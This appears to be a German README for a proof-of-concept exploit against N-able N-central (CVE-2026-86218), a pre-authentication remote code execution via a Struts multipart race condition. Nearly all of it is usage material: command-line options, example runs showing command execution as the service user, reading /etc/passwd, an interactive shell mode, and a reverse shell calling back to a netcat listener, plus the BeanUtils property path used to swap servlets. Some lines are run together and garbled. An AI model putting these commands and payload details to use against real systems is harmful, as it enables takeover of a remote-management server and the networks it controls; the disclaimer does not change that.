
Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine Pre-Auth-RCE in N-able N-central über eine Struts-Multipart-Race-Condition, mit Unterstützung für Befehlsausführung und Reverse Shell.
Dies ist ein Python-3-Proof-of-Concept-Exploit für CVE-2026-86218, eine kritische Remote-Code-Execution-Schwachstelle vor der Authentifizierung in N-able N-central.
Details zur Schwachstelle:
N-able N-central verwendet ein sitzungsgebundenes Struts-Formular für eine nicht authentifizierte Aktion (/remoteControlAction.do). Zwei gleichzeitige Multipart-Anfragen können den Multipart-Handler des Formulars überrennen und die Live-Konfiguration von Jetty für die Property-Population von Commons BeanUtils offenlegen. Dies ermöglicht einem Angreifer:
/bin/sh -s ausführtpip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| Option | Beschreibung |
|---|---|
-t, --target | Ziel-N-central-URL (z. B. https://192.168.1.100) |
-c, --command | Einzelner auszuführender Befehl |
-i, --interactive | Interaktiver Befehlsmodus |
--lhost | Listener-IP für Reverse Shell |
--lport | Listener-Port (Standard: 4444) |
--servlet | Zu ersetzendes Servlet: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | Prüfen, ob das Ziel anfällig ist |
--no-verify-ssl | SSL-Zertifikatsüberprüfung deaktivieren |
--timeout | Anfrage-Timeout (Standard: 30s) |
--race-delay | Verzögerung der Race Condition (Standard: 0.35s) |
-v, --verbose | Ausführliche Ausgabe aktivieren |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
Erwartete Ausgabe:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
Erwartete Ausgabe:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
Zuerst Listener starten:
nc -lvnp 4444
Exploit ausführen:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
Erwartete Ausgabe:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
Listener-Ausgabe:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
Interaktive Sitzung:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Servlet | Beschreibung | Auswirkung |
|---|---|---|
LogRetrieval | Log-Abruf-Endpunkt (Standard) | Am wenigsten störend, Logs bis zum Neustart nicht verfügbar |
FileTransfer | Dateiübertragungs-Endpunkt | Beeinträchtigt die Dateiübertragungsfunktionalität |
AutomationManagerDownloadServlet | Automation-Manager-Download | Erfordert Management-UI-Port (8443) |
/remoteControlAction.do abfragen, um die Version aus der Fehlerseite zu extrahierenDie Schwachstelle nutzt eine Race Condition in der Multipart-Formularverarbeitung von Struts aus:
Die Mutationsfelder verwenden JavaBean-Property-Pfade:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
Dies durchläuft: Multipart-Handler → Servlet-Kontext → Classloader → WebAppContext → Servlet-Handler → spezifischer Holder
/remoteControlAction.doDieser Exploit wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Die unbefugte Verwendung dieses Exploits gegen Systeme, die Ihnen nicht gehören oder für die Sie keine Testgenehmigung haben, ist illegal und unethisch.
Holen Sie stets eine ordnungsgemäße Autorisierung ein, bevor Sie Penetrationstests durchführen.